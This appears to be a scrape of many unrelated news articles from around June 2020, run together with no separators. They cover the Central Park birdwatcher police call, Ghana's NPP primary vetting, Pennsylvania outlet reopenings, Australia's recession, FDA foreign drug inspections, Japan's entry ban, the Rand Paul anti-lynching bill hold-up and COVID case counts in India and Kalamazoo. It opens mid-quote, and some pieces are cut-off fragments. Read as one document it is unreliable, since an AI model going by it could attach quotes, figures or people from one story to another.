We're taking a look at exactly what the calls were, speaking to Christian, speaking to Amy, speaking to everyone involved, looking through all the videos to see if it sustains a charge," NYPD Chief of Department Terence Monahan told WPIX. "The uproar because of this, what she's caused because of that call, we condemn that action. And if we can make that arrest, we will."

Read more

Bank fires woman who called police on black birdwatcher in park
The National Executive Committee (NEC) of the New Patriotic Party (NPP) has given the green light to some disqualified aspirants to contest its parliamentary primaries slated for June 20, 2020.



Most of the candidates in Greater Accra, Western North and Ashanti regions seeking to contest their incumbent Members of Parliament were disqualified by the regional vetting committees.



But NEC, after listening to their appeals, declared them eligible to contest in the elections.



However, some of the decisions taken by the vetting committees were also upheld.



Below is the full list:



Greater Accra Region



NEC upheld the recommendations of the Vetting Committee in respect of all the aspiring candidates. The decision by the appeals committee to clear the opponent of Moses Anim in Trobu, Edward Addo, who was initially disqualified by the vetting committee was thus reversed.



Western North



NEC reversed the decision of the Appeals Committee to disqualify former BOST CEO, Alfred Obeng in the Bibiani Constituency. He has therefore been reinstated as per the verdict of the vetting committee that initially cleared him.



Western Region



NEC upheld all the decisions of the Vetting Committee



Northern Region



NEC approved the decision of the vetting committee to disqualify Emmanuel Kutin, the Security Analyst in the Saboba Constituency, but reversed the decision to disqualify Osman Mahama in the Saboba Constituency. So the Deputy Tourism Minister, Iddi Ziblim, will not go unopposed.



Ahafo Region



NEC upheld the decisions of the vetting committee for all the candidates



Central Region



All the decisions of the Vetting Committee upheld, except that in respect of Evans Coleman of Agona West. So the Gender Minister will be contested by one other person, and not two.



Bono Region



All decisions of the vetting committee upheld. The opponent of the Health Minister disqualified in the Dormaa Central



Eastern Region



All the decisions of the vetting committee upheld by NEC



Ashanti Region



Samuel Binfo was cleared by NEC to contest in the Adansi Asokwa Constituency against KT Hammond.



Kofi Nkansah Ofosu was cleared by NEC to contest in the Asante Akyem Central



Francis Kwabena Owusu Akya was disqualified in the Juabeng Contest. That is, decision of Appeals Committee upheld.



Bekwai  Lawyer Amofa Agyemang was disqualified by NEC.



Asante Akyem North  Kwadwo Baah Agyemang cleared by NEC



Odotobiri  Lawyer Anthony Mmieh cleared by NEC, thus reversing appeals committee decision



Subin  JB Danquah cleared by NEC



Manso Nkwanta- Hon Grace Addo, the former MP disqualified by NEC



Kwadaso  Hilda Addo disqualified by NEC.

Source: daily guide









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

Featured Video
Retail is back in central Pennsylvania and stores have started to reopen at four outlet centers in central Pennsylvania.

The stores at the Outlet Shoppes at Gettysburg were able to reopen May 22 when Adams County moved into the yellow phase. Last Friday, the stores at Tanger Outlets Hershey were able to reopen. And finally, the stores at Tanger Outlets Lancaster and the Shops @Rockvale reopened on Friday. In March, all non-essential retailers were forced to close after Gov. Tom Wolf ordered the non-essential businesses to close related to COVID-19.

But, just because all retail stores in Pennsylvania can reopen as of Friday, that doesnt mean they have.

So as of Friday, heres whats open:

The Outlet Shoppes at Gettysburg. Views of the Capital region during the coronavirus pandemic. March 27, 2020. Sean Simmers | ssimmers@pennlive.com

The Outlet Shoppes at Gettysburg

1863 Gettysburg Village Drive, Mount Joy Township, Adams County

The shopping center is open from Monday through Saturday 11 a.m. to 7 p.m. and Sunday from noon to 6 p.m. Some store hours may differ.

These tenants have are open: Adidas Outlet Store, American Eagle Factory Store (in-store and curbside) Auntie Annes hand-rolled soft pretzels (carryout only), Bass Factory Outlet, Beef Jerky Outlet, Book Warehouse, Carters, Chopsticks Express (Carryout only), Christmas Tree Hill, Christopher & Banks Outlet, The Civil War Store, Columbia Sportswear Outlet, GameStop (Pickup only), Gap Factory store, Goin Postal, Hanes, Hot Topic Outlet, Jacks Hard Cider Tap Room (curbside and carryout), Lane Bryant, Maurices, Michael Kors, Old Navy, OshKosh Bgosh, Skechers, Subway (carryout only) Talbots, TGI Fridays (curbside pickup only), Tommy Hilfiger, Tools And More, Torrid, The Uniform Outlet, Van Heusen/Izod, Verizon Outlet and Wilsons Leather.

Tanger Outlets Hershey (Daniel Urie, PennLive)

Tanger Outlets Hershey

46 Outlets Square, Derry Township

The shopping center is open from 11 a.m. to 7 p.m. daily. Some store hours may differ.

The following stores have reopened at Tanger Outlets Hershey: American Eagle/Aerie, Gap, Banana Republic, Calvin Klein, Carters Babies and kids, Clarks, Francescas, Gap, Hanesbrands, Janie and Jack, Old Navy, Skechers, Simply Country, Talbots Outlet, Talbots Woman, Van Heusen/Izod, Subway and Starbucks.

Tanger Outlets Lancaster (Shutterstock)

Tanger Outlets Lancaster

311 Stanley K. Tanger Blvd, East Lampeter Township, Lancaster County

The shopping center is open from 11 a.m. to 7 p.m. daily. Some store hours may differ.

These stores are open: American Eagle/Aerie, Banana Republic, Bleacher Bums, Columbia Factory Store, Francescas, Haggar, Lancaster Harley Davidson, Rack Room Shoes and SAS Shoes.

The Shops @Rockvale is located in East Lampeter Township. (Daniel Urie, PennLive)

The Shops @Rockvale

35 S. Willowdale Drive, East Lampeter Township

These stores are open at The Shop @Rockvale: Alfred Dunner; Christmas Tree Hill; Cigar, Cigars; Coleman Factory Outlet; Direct Tools; Factory Direct Mattress & Sofa Outlet; Fan Cave, Generations of Furniture; Janie & Jack Outlet; Kirklands; Nissley Vineyards; Peddlers Alley; Perfumes Unlimited & Colognes; Rackroom Shoes, Rainbow Shop; Reading China & Glass and Vitamin World.

Six other retailers as well as Subway plan to reopen next week at The Shops@Rockvale and they include Carters & Osh Kosh Bgosh, Christopher & Banks, Famous Footwear, Hanesbrands, Maurices, Puma and Loft Outlet.

--Business Buzz

--Sign up for PennLives newsletters

Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work.

You can follow Daniel Urie on twitter @DanielUrie2018 and you can like PennLives business page on Facebook at @PennLiveBusiness
Latter Rain Assembly President, Pastor Tunde Bakare, has warned that Churches may soon be empty. He gave the warning on The Future o...

Latter Rain Assembly President, Pastor Tunde Bakare, has warned that Churches may soon be empty.





He gave the warning on The Future of Faith Instagram Live with Chude Jideonwo.





Bakare spoke on governance and the responsibility of the church amid the coronavirus pandemic.





He stressed that the church is a body that is required in these trying times to show up for its members.





The church, which is you and I and the millions of Christians in this country, has one duty; to nourish the body of Christ, honor and serve it. That is you and I.





If the church does not do its duty, it will soon be empty and cockroaches and spiders will take over, Bakare said.





On his presidential ambition, Bakare mentioned that in the 2011 elections, he was pressured to run with Atiku.





He said Gods counsel to him has remained that his political career is not over.





The cleric added that the counsel also included that he will be called upon for more responsibilities and he is obligated to answer.





The conversation also touched on gender and the state of violence against women.





It also discussed the role of religion in the continued subjugation of women and how women continue to suffer violence at the hands of men.
George Floyds death that has resulted in charges against four Minneapolis police officers shocked and outraged a nation that continues to protest police brutality and speak out for civil rights. It also left one little girl without a father.

Floyd left behind a daughter, Gianna, 6. Dr. Bernice King, who was 5 when her father, Martin Luther King Jr., died in 1968, says she can sympathize with the road Gianna may have ahead of her after losing a parent in the public eye.

Coretta Scott King and daughter Bernice at Martin Luther King Jr. memorial service (Bettmann Archive / Getty Images)

Well, my heart always goes to his 6-year-old daughter, she said Friday on the 3rd hour of TODAY when asked what stood out to her most as she watched Thursdays memorial for Floyd.

King says Gianna is in her thoughts while she copes with her fathers death.

George Floyd's 6-year-old daughter, Gianna, arrives for his memorial service (Chandan Khanna / Getty Images)

I was 5 when my father was assassinated and I cant stop thinking about what her journey may be like now without her father and having to process through the viciousness of how he was killed and the images, she said.

Today, so often I see images that I dont want to see, and I hope people are sensitive to that, of my father laid down in the casket. As we go forward, it was necessary for it to be shown to the American public.

Roxie Washington attends a press conference (Stephen Maturen / Getty Images)

While Floyds case has become a landmark moment in the civil rights movement, King wants everyone not to forget the effect his death has on those closest to him.

But I hope people remember that theres a real family behind this tragedy as we go forward and that we continue to pray for that family as we go forward. And other families. Theyre not the only families, she said. This is representative of so much that has happened over the past few years and so, for the 6-year-old, Im praying for her, Im praying for the entire family right now.

True peace is not merely the absence of tension; it is the presence of justice.



~A lesson my father taught me pic.twitter.com/g0Pcli0Zow  Be A King (@BerniceKing) June 1, 2020

Gianna herself has been vocal after her father's death. A video of her earlier this week saying "Daddy changed the world" in Minneapolis went viral.

I wanted everybody to know that this is what those officers took from me, her mother, Roxie Washington, said at a press event that same day. At the end of the day, they get to go home and be with their families. Gianna does not have a father.
Controversial TDs Michael Lowry and Verona Murphy have said they are open to supporting a coalition government following a meeting with the leaders of Fianna Fail, Fine Gael and the Greens.

Mr Lowry, Ms Murphy and six other TDs from the Rural Independent Group held a "productive" meeting with the leaders of the three parties attempting to form a coalition for more than an hour in Government Buildings on Wednesday.

Leo Varadkar, Micheal Martin and Eamon Ryan told the group they hoped to finalise a programme for government early next week and would present it to them.

They told the TDs it was up to them as to what extent they wanted to support a future coalition, saying they could strike a deal as a group or individually.

The group's other members are Cathal Berry, Sean Canney, Peter Fitzpatrick, Noel Grealish, Denis Naughten and Matt Shanahan.

"We said we wanted to be positive in relation to the government formation and a programme for government and we know the necessity of doing it," Mr Lowry said afterwards.

Those in the meeting said they saw a "good rapport" between the three leaders.

Mr Lowry is a former cabinet minister who left Fine Gael in acrimonious circumstances in the 1990s. He was found guilty of tax offences in 2018.

Ms Murphy fell out with Fine Gael over comments about migrants when she ran unsuccessfully for the party in the Wexford by-election last year.

Ms Murphy, who was elected as an Independent TD in February, said there were no issues between her and Mr Varadkar.

The Taoiseach was heavily critical of her last year, saying it was a mistake for Fine Gael to pick her as a candidate and that he was glad she was not elected.

However, Ms Murphy said: "The body language was very good, nobody has a problem with anybody.

"I got the impression that they would all like us to support it, but they are under no illusions - we need to see the programme for government."

Outside

One Independent TD said he believed it was an open-ended offer from the party leaders which could mean some TDs joining the next coalition.

"It's our decision how deep a relationship we want to have with them, rather than theirs," they said.

However, another TD said: "Whatever support the Government is going to get is going to be from the outside.

"I don't think there are any ministries up for offer."
The Bureau of Prisons remains committed to the use of [halfway houses] to provide services to federal offenders releasing to our communities, and to support the practice of transitioning offenders through these programs in order to assist them with productive and positive reentry, the statement said.
The Associated Press has declared state Auditor General Eugene DePasquale as the winner of the Democratic nomination for Pennsylvanias 10th Congressional seat.

Partial returns in so far have DePasquale polling 60.3 percent of the vote, and Brier 39.7 percent.

The actual reported vote total is DePasquale, 26,547; Brier, 17,508.

The APs projection is likely on the fact that in the early mail-in ballot counting in Dauphin County, which Brier won by a near 2-1 margin in Tuesdays voting. To close DePasquales 9,650 lead on election night, the Hershey attorney and author would likely have needed to repeat that margin in the mail-in count.

So far, with about 22 percent of those ballots tallied, the mail-in side of the race has been closer, with Brier polling 55.5 percent. While still an impressive performance against the sitting state Auditor General, that rate, if it stands, may not bring Briers campaign all the way back.

DePasquale built his big lead with a blowout win over Brier in his home base of York County, where all the ballots have been preliminary tallied.

The other wild-card in the race is Cumberland County, where no results from the 17,000-plus mail-in ballots have been reported to date. the two candidates fought to a virtual draw in the live polling there.

Briers campaign manager, Andrew Bellis, said in an email Friday afternoon that they are not conceding the race at this point. Attempts to reach DePasquales campaign manager were not immediately successful.

If the current results do stand, DePasquale would face incumbent U.S. Rep. Scott Perry, R-York County, in the fall.
Australia's first recession in 30 years looms. Left: Treasurer Josh Frydenberg; Right: Prime Minister Scott Morrison. (Source: Getty)

This article has been updated as at 1:00pm AEST.

Australias gross domestic product (GDP) has shrunk 0.3 per cent over the March quarter according to the Australian Bureau of Statistics (ABS).

Treasurer Josh Frydenberg confirmed on Wednesday that Australia was now in a recession, ending 29 years of growth.

ABS chief economist, Bruce Hockman, said it was the slowest through-the year growth since September 2009, when Australia was in the midst of the global financial crisis.

It follows Tuesdays ABS data, which revealed wages and salaries were flat in the March quarter. The tax take dropped 5.4 per cent between December and March and government spending grew by 2 per cent.

Todays figures follow the nations 0.5 per cent GDP growth in the December quarter, but are largely meaningless as the impact of the coronavirus pandemic mostly took its toll on the economy during the months of April and May.

NAB head of markets research Ivan Colhoun said the March quarter figures were the most irrelevant GDP figure ever published, and that the effect of the virus on the economy in April and May have put Australia in an instant recession regardless.

Commonwealth Bank predicts a 9 per cent contraction in the June quarter.

"Whichever way you look at it, Australia will be in recession," Commonwealth Bank senior economist Belinda Allen told AAP.

Whats a recession?

A recession is a decline in economic activity, which means businesses and individuals are spending less money.

And its no mystery as to why weve had one now: businesses have been forced to close doors, Aussies have lost their jobs and all of us have been told to stay home.

The technical definition of a recession is two consecutive quarters of GDP shrinkage, but like Colhoun said, a recession-like economy can still exist without this.

What does a recession mean for me?

In a typical recession, Australians stop spending money, businesses begin to fold and ultimately jobs are lost.

Story continues

Good businesses shut, not because of any mismanagement, but because next to no one is buying their produce, independent economist Stephen Koukoulas told Yahoo Finance.

The result?

People lose their jobs, often for months and years of high unemployment follow.

Once this happens, the government will then need to make decisions to grow the economy, which means it will need to implement policies around taxation, stimulus measures or education.

And, if youre an employee, its not a good idea to quit your day job and look for something else, because there will be fewer jobs to go around.

What about our government stimulus measures?

While the JobKeeper and JobSeeker stimulus packages might stave off some of the unemployment, when the stimulus measures end in September, thats when Australia will really hit mission critical.

"It's clearly going to be a critical point when that scheme [JobKeeper] comes to an end and also when the deferral for six months of mortgage payments and other payments that the banks are offering  so that's a critical point for the economy," RBA governor Philip Lowe told the Senate Select Committee on Covid-19 last week.

If we have not come out of the current trough in economic activity, there will be, and there should be, a debate about how the JobKeeper program transitions into something else, whether it's extended for specific industries, or somehow tapered, he said.

Yahoo Finance Breakfast Club.

Follow Yahoo Finance Australia on Facebook, Twitter, Instagram and LinkedIn.
US Needs Aggressive Inspection Program for Imported Drugs: Grassley

A Senate hearing on the FDAs oversight of foreign drug manufacturing has heard from Sen. Chuck Grassley (R-Iowa that the CCP virus pandemic has highlighted the U.S. need for a robust and aggressive inspection program for drugs manufactured abroad.

Grassley, Chair of the Finance Committee, said on June 2 that the United States imports 13 percent of its active pharmaceutical ingredients (API) from China and 19 percent from India, while more than 70 percent of the facilities that make APIs are located abroad.

These figures coupled with the COVID pandemic have got a lot of attention, including what might need to be done from a national security standpoint, said Grassley, adding that over 50 percent of the manufacturing units where APIs are converted into final drugs are also located abroad.

But, the figures do make clear what needs to be done from a drug safety perspectivewe need to have a robust and aggressive foreign inspections program, said Grassley.

Drugs produced in China and India have had a serious quality control problem, Grassley said, pointing to the recall of the drug valsartan that was found to contain contaminants used in rocket-fuel.

Facilities in China and India produce that drug, he said.

Senate Finance Committee holds hearing chaired by Grassley (R-IA) with drug manufacturers and FDA officials on the agencys foreign drug manufacturing inspection process during COVID-19 pandemic and beyond. https://t.co/7F4QQFagqI @cspan, @cspanradio & online pic.twitter.com/81UXGLkBNG  Craig Caplan (@CraigCaplan) June 2, 2020

Unannounced Foreign Inspections

Senators have criticized the FDAs foreign inspections for being less stringent than the domestic inspections because of a practice that involves prior notice of the inspection to the manufacturers.

The Senators asked the FDA to level the playing field by doing more unannounced inspections at foreign manufacturing units to prevent deception during inspections at these facilities.

FDA Associate Commissioner for Regulatory Affairs, Judith McMeekin, acknowledged that most of the foreign inspections are pre-announced but that this was important for various reasons.

It helps to verify that the foreign manufacturing unit falls within the FDAs jurisdiction and that personnel and records are maintained, she said.

McMeekin added that the FDAs statutory inspectional authority, 21 USC 374, is not applicable at foreign facilities and that pre-announcement helps the FDAs inspection team gain permission for inspection.

The FDA hasnt committed to changing its practices about prior-announcement, but according to Lexology, a law business research portal, pressure from Congress may lead to an increased number of unannounced inspections.

Inspections Suspended During Pandemic

The FDA has indefinitely suspended its routine foreign inspections during the pandemic. However, the agency has also taken measures to ensure the safety and quality of foreign manufactured drugs during this time.

Officials told the Senate hearing that measures include increasing physical checks at the U.S. border, checking foreign manufacturers compliance history, denying entry to drugs that dont meet standards, working with foreign governments for mutual quality control, and requesting documents from the manufacturers in advance of or in lieu of on-site drug inspections.
Temecula Mayor James Stew Steward resigned Thursday evening amid backlash over an email he wrote about police killings that went viral.

On Tuesday, a resident requested information regarding Steward's plans to end police violence and racial policing in the community, stating, "This issue is very important to me and my family."

Stewards email response was posted online, sparking controversy among residents. The 11:02 p.m. reply stated: I dont believe any good person of color has been killed by police. He went on to say that he had several African American friends, which sparked outrage on social media.

Steward publicly responded to the backlash his email generated, stating the message was sent over voice-text and that he did not proofread what was recorded. As a result, he said his words were taken out of context and that he meant that no good person of color was murdered by police in Temecula or Riverside County. He also reaffirmed he did not tolerate racism and asked for forgiveness, which garnered mixed results online.

Critics were quick to respond to his apology, citing the 1998 death of Tyisha Miller, a 19-year-old black woman who was killed by police as she sat in her car at a Riverside gas station.

Hannah de la Cruz, a 33-year-old resident, called Stewarts response to the email passive and disrespectful.

After all the events that have transpired, the words our elected officials use are even more important, de la Cruz said. I do agree with him resigning. Its the very least he owes us.

Some residents  like Jennifer Evans, a 39-year-old legal assistant who has lived in the city for two years  were disappointed in Stewards resignation.

Not only are we losing a mayor that has proven he loves his community, but our safe haven has become polarized due to these events, Evans said.

Kevin Willis, a 35-year-old resident and president of Veterans Advocacy Associates, said Steward is an example of a "good, community-oriented citizen." Willis said he believed the situation was blown out of proportion.

Story continues

Not to discount the real raw emotions that we are experiencing in society at the moment, we need to be careful not to let the people who are trying to better society get rounded up with the bad actors who are the true problem, Willis said.

Steward said he was hurt by citizens who do not know him personally labeling him as racist.

It was incredibly horrible timing, but at the same time, I need to protect the city too, he said in an interview. With the massive protest [on Friday], this could cause the city much more harm and focus on the city that doesn't belong there, so I figured Id just resign.

Steward took to Facebook, one of his main forms of communication with residents, to announce his resignation and apologize for his off-the-cuff response to an email on a serious topic. Steward was elected to the City Council in 2016 and began serving as mayor this year.

My whole goal was to bring the council to the people. I was always on Facebook, always communicating with the residents about what was happening  the good, the bad and the indifferent, he said.

Councilman Matt Rahn said his time working with Steward was relatively positive and Steward's presence helped the council reach equitable decisions. However, Rahn said he was very critical" of what he called Steward's casual language and style of shooting from the hip on consequential issues during his time as mayor.

City business should not be done on social media. That's why we have city meetings, Rahn said. Being a mayor or any elected official demands a level of care that lets people know they are being heard.

Rahn said Stewards comments in the viral email did not reflect the thoughts of the city or the City Council.

It was unacceptable, and frankly our city deserves better, Rahn said.

Mayor Pro Tem Maryann Edwards said in a statement: Stew is a hard-working and honest man. Temecula is poised to close this chapter and continue our long-term commitment to preventing racial injustice in any form.

Edwards will take on mayoral duties for the remainder of 2020.
By Ryotaro Nakamaru, KYODO NEWS - Jun 5, 2020 - 12:50 | All, Japan, Coronavirus

Kady, a 32-year-old who works as a copywriter in Osaka, flew back to her home country of Britain in December to attend to personal matters. She planned to return to Japan in mid-May and already had a flight booked.

But her plans were upended when the Japanese government added Britain to a list of countries that were subject to travel restrictions applied to ensure coronavirus cases are not imported.

"When the U.K. was added to the entry ban list in early April, I found out from the embassy Twitter account with roughly 48 hours' notice. I was still in the middle of things going on here with me and my family, so it wasn't possible for me to just drop everything here and try to jump on a plane to get back in time within two days," she said.

Kady, who asked for her last name to not be used in this story, is one of the roughly 3 million foreign residents of Japan who have been affected by the entry ban.

Many are frustrated at how wide a net the measures cast. All foreign nationals, including permanent residents and spouses of Japanese nationals that have traveled to any of the listed countries within the last two weeks, are being denied entry.

"It blows my mind that we tax-paying residents are being treated the same as tourists and are unable to return to our homes," said a 37-year-old Australian, who asked to remain anonymous. She has been unable to return since traveling back to Australia with her toddler for Christmas and to undergo medical treatment.

Some question why they are treated differently from Japanese nationals who the government has discouraged from traveling abroad but can re-enter the country as long as they are tested for COVID-19 on arrival and self-quarantine for two weeks.

There are "special exceptional circumstances" under which foreign residents can be given exemptions, including for humanitarian considerations such as the death of a family member overseas. Still, these are granted by the Immigration Services Agency on a case-by-case basis and are far from guaranteed.

UPDATE!



Specific examples of cases where permission for re-entry may be granted (Ministry of Justice, as of June 12)

Japan's tough virus control measures are in stark contrast to other countries such as Germany, which is allowing those who legally reside there to re-enter regardless of nationality. China, where the outbreak originated, has begun easing travel restrictions for foreigners, restarting business trips to and from South Korea.

As the number of new infections in Japan falls and the economy tentatively reopens, some families remain forcibly split by the travel restrictions. A 23-year-old American, who also asked to remain anonymous, said she recently married a Japanese national but is unable to join him in Japan to start their life together.

"I really wish there was some sort of timeline of when the border will open because I just want to go home to my husband and new family," she said.

"It's really tough being newly married but not able to be together or even know when we can see each other again."

A total of 111 countries and regions currently fall under Japan's entry ban, including the United States, much of Asia including China and South Korea, and all of Europe. The government has not given an end-date for the measures, saying only that they will remain in place "for the time being."

According to government sources, discussions are taking place to remove Thailand, Vietnam, Australia and New Zealand from the list, as the countries have got their coronavirus outbreaks under control and the relatively thin traffic to and from Japan is seen as manageable.

For many foreign residents, the economic burden of being locked out of Japan is particularly worrying.

A 25-year-old Ph.D. student from China who asked to be known by Li, her family name, was supposed to attend Waseda University in Tokyo from the spring semester.

Her visa application was suspended due to Japan's travel restrictions leaving her stuck in her home country taking classes online while paying for an apartment she rented from March.

"It's possible to cancel it, but I'm worried about not being able to find another one," she said.

Kady, the British copywriter, said she was worried about the state of the job market when she finally returns to Japan.

"I've read about unemployment levels rising, job offers for new grads being withdrawn, companies freezing their hiring processes. I'm hoping that the push to restart tourism means English-speaking writers will remain in demand. I expect overall salaries to be lower, though."

The entry ban has reignited a long-running and at times fraught conversation about how welcoming or not Japan is to foreigners, and how serious the government is about attracting overseas labor to cover for the country's aging workforce.

"We're talking about people that have made Japan their home, whether they're permanent residents or long-term residents or those here on work visas," said Shoichi Ibusuki, a Tokyo-based lawyer who specializes in immigration issues. "To keep them from coming back without proper cause is a violation of human rights."

In April last year, the government created a new visa status for foreigners to come work in Japan in certain industries, including construction and agriculture. Just 3,987 people signed up for the program over the next 12 months, less than 10 percent of the government's projections.

"The fact is, Japan isn't that attractive for foreigners anymore. And now this entry ban is hurting Japan's reputation even further," Ibusuki said.

(Donican Lam and Reito Kaneko contributed to this report)

Related coverage:

Japan says foreigners with humanitarian needs exempt from entry ban

Japan eyes easing ban on entry from Thailand, Australia, 2 others

Hotels, university offer free stays for foreigners stranded in Japan

Q&A: Japan's coronavirus-related border controls
New national security laws targeting foreign investment in Australia are set to sail through Parliament as an inquiry is urged to establish a hit list of Australian sectors vulnerable to Chinese political coercion.

Cabinet ministers have insisted the new laws do not target China but it was one of Australia's only major trading partners not named by Treasurer Josh Frydenberg as a "like minded nation" in announcing the legislation in Canberra on Friday.

The changes will see a new national security test for foreign investors - particularly in the telecommunications, data and energy sectors - and extraordinary powers given to the Treasurer to force divestment on national security grounds after a sale has been approved.

Mr Frydenberg said on Friday that "our geopolitical climate has become more complex". "The world over, governments are seeing foreign investment being used for strategic objectives not purely commercial ones," he said.
KALAMAZOO, MI  The arrest of one individual who was downtown protesting police brutality in the wake of George Floyds killing is what led to numerous Kalamazoo businesses incurring damage that evening, according to some witnesses.

Daniel Williams, whose girlfriend Tara Williams says is a positive, stay-at-home father, was one of six people arrested and three people charged as a result of incidents that occurred late Monday and early Tuesday in downtown Kalamazoo.
Republican senator Rand Paul is holding up a bill that would make lynching a federal crime, amid the George Floyd protests.

Mr Paul admitted on Wednesday that he is the only hold-out in the Senate on the Emmett Till Anti-lynching Act.

A nearly identical version of the bill passed in the Senate last year, but made it through Congress in February, with an amendment to name it after Emmett Till, who was lynched in Mississippi 65 years ago.

This amendment brought it back to the Senate, but it has failed to pass, due to a lone hold-out, who was not named until Wednesday, according to CBS News.

The legislation comes as protests are taking place all over the US, in response to the death of George Floyd, who died after being detained by Minneapolis police.

Protests, which are in opposition to police brutality, have put added scrutiny on systemic racism and injustice in the US and many are hopeful that now is the best time to get the bill passed.

However, Mr Paul told reporters on Wednesday, that he is holding-out on the bill because he wants elements of the proposed language of the legislation modified.

Speaking to reporters on Capitol Hill, the senator said that he wants to make sure the Senate is able to make the language the best that we can get it.

He said: We want the bill to be stronger, and added: We think that lynching is an awful thing that should be roundly condemned and should be universally condemned.

Mr Paul said he was concerned that the current proposed legislation would make it possible to conflate someone who has an altercation, where they had minor bruises, with lynching.

The senator added: We think thats a disservice to those who were lynched in our history and a disservice to have a new 10-year penalty for people who have minor bruising.

During a debate in the Senate on Thursday, that took place the same time as Mr Floyds memorial, Mr Paul said the bill was too broad, and proposed an amendment that would apply the criminal penalties for lynching only.

Rather than consider a good-intentioned but symbolic bill, the Senate could immediately consider addressing qualified immunity and ending police militarization, the senator said.

The amendment was blocked by New Jersey senator, Cory Booker, who said that now is the time to pass the widely supported bill.

Tell me another time when 500-plus Congress people, Democrats, Republicans, House members and senators come together in a chorus of conviction and say, Now is the time in America that we condemn the dark history of our past and actually pass anti-lynching legislation.
India on Friday reported its highest single-day jump in coronavirus cases in the past 24-hour. As per union health ministry data, India reported 9,851 new cases of coronavirus since Thursday morning. The death counts in the last 24-hour surged to 273. Overall, India's coronavirus cases tally has now jumped to 2,26,770, out of which 1,10,960 are active cases, 1,09,462 cured/discharged/migrated and 6,348 deaths were reported, the ministry data added.

India is the world's seventh-most worst affected nation from coronavirus. In India, Maharashtra, Delhi, Tamil Nadu, and Gujarat are the four states where the COVID cases are more than 10,000. Whereas, in Rajasthan and Uttar Pradesh, the COVID positive cases are set to breach 10,000 mark. Maharashtra's total confirmed case tally has surged to 77,793; Tamil Nadu 27,256; Delhi 25,004; and Gujarat 18,584. So far, Rajasthan has registered 9,862 COVID cases, and UP 9,237.

In terms of active cases, Maharashtra has reported 41,402 COVID cases and Delhi has 14,456 cases. In Tamil Nadu, there are a total of 12,134 active cases. Only Andaman and the Nicobar Islands has registered zero active cases. Sikkim as only two active cases of COVID-19.

In terms of deaths, Maharashtra recorded the highest numbers, followed by Gujarat, Delhi, Madhya Pradesh, and West Bengal. Maharashtra has reported 2,710 deaths, Gujarat 1,155, Delhi 650, Madya Pradesh 377, and West Bengal 355.

According to the health ministry, over 70 per cent cases are due to comorbidities. As of June 5, India's recovery rate stands at 48.2 per cent, whereas, the mortality rate is merely 2.8 per cent.

State/UTs total confirmed cases of coronavirus cases:

Andaman and Nicobar Islands -33

Andhra Pradesh- 4,223

Arunachal Pradesh -42

Assam- 1,988

Bihar-4,493

Chandigarh-301

Chhattisgarh-756

Dadar Nagar Haveli-12

Delhi-25,004

Goa-166

Gujarat- 18,584

Haryana- 3,281

Himachal Pradesh-383

Jammu and Kashmir- 3,142

Jharkhand- 793

Karnataka-4,320

Kerala- 1,588

Ladakh-90

Madhya Pradesh-8,762

Maharashtra-77,793

Manipur-124

Meghalaya-33

Mizoram-17

Nagaland-80

Odisha-2,478

Puducherry-82

Punjab-2,415

Rajasthan-9,862

Sikkim-2

Tamil Nadu-27,256

Telengana-3,147

Tripura-644

Uttar Pradesh-9,237

Uttarakhand-1,153

West Bengal- 6,876

Also read: Unlock 1.0: Malls, restaurants to open from June 8; check full list of guidelines

Also read: Unlock 1.0: Restaurants to encourage takeaways, seat 50% of total capacity
KALAMAZOO, MI -- Data shows COVID-19 is on the decline in Kalamazoo County.

The seven-day average, including data for Thursday, June 4, is 2.57 new cases a day. This is a decrease from the last seven-day period ending May 28 when the average was 4.7 new cases. The week before that the average was 10 new cases a day.

Bronson Methodist Hospital reported it was treating 13 patients for COVID-19 as of Thursday. Ascension Borgess Hospital does not reported its cases, citing patient privacy.

On Thursday, Kalamazoo County reported a cumulative total of 861 cases and 58 deaths since the pandemic started. Data also shows there are 122 patients who have been hospitalized for the virus and 550 patients who have recovered from the virus.

Recovered is defined by the county as the number of persons with a confirmed COVID-19 diagnosis who are alive 30 days after the onset of symptoms. If an individual dies from a COVID-related cause after 30 days or they are reported to be a resident of a different county, they are removed from the number of persons recovered.

Related: Michigan coronavirus stay-at-home order lifted: Heres what opens when

Although Gov. Gretchen Whitmer lifted the stay-at-home order this week, the Kalamazoo region remains in the medium risk or improving category , according to the MI Safe Start Plan map.

The region includes the following nine counties: Allegan, Barry, Van Buren, Kalamazoo, Calhoun, Berrien, Cass, St. Joseph and Branch. As a region, there were 15.9 new cases and 4.7% of coronavirus tests came back positive on June 1.

Public health officials are now strongly encouraging measuring the spread of the virus using seven-day averages and dates of onset symptoms, Kalamazoo County epidemiologist Mary Franks said.

Onset data, meaning the day symptoms started, is determined after the health department does a contact tracing investigation.

Reporting onset data periodically adjusts the county health departments report for daily case counts based off of referral data, meaning when the county was notified. In the past, MLive has used the daily case count as a guide for tracking the countys curve.

Related: Michigans daily average for new coronavirus cases drops to lowest in 10 weeks

Regions like the Upper Peninsula and the Traverse City region will be good indicators about how reopening could influence a second wave, Franks said.

The MI Safe Start map still puts both regions in a medium risk category. The only region not in medium risk is the Grand Rapids region which is still elevated to medium-high or flattening phase.

I think that were out of the woods, a little bit, but we also still need to be extremely cautious if things open up in your city, Franks said. Were always two weeks behind looking at whats actually happening in current infections.

Kalamazoo County will continue to see its numbers be higher than the surrounding counties because of population density, larger hospital systems, more long-term care facilities and a larger downtown area, Franks said.

Theres just so many factors that play into, she said. You can see it anywhere, the larger the population, the more cases youre going to see, because this is [spread] person-to-person and [thats] increased contacts.

Communities will need to stay vigilant in increased testing efforts so that hospital capacity can remain manageable, Franks said.

Last week, Family Health Center tested 220 people at El Concilio on Friday, May 29. Only five tests resulted in a positive, a spokesperson for the center said.

Last week, 1,500 nursing home residents and staff members in Kalamazoo County were tested in one day as part of a statewide initiative.

In Kalamazoo County, nine nursing homes received voluntary testing on Wednesday, May 27, according to a news release from Kalamazoo County Department of Health and Community Services. Those results have not yet been released.

A visual representation of the increasing case counts and death toll in Kalamazoo County is shown below, based on data reported by the state. Apparent conflicts in data reported there result from slight differences in daily case counts provided by state and county health officials.

Daily new cases in Kalamazoo County:

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Cumulative total cases and deaths in Kalamazoo County:

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More coronavirus coverage on MLive:

From hair salons to gyms, experts rank 36 activities by coronavirus risk level

Long-term care facility residents make up the majority of Kalamazoo Countys coronavirus deaths

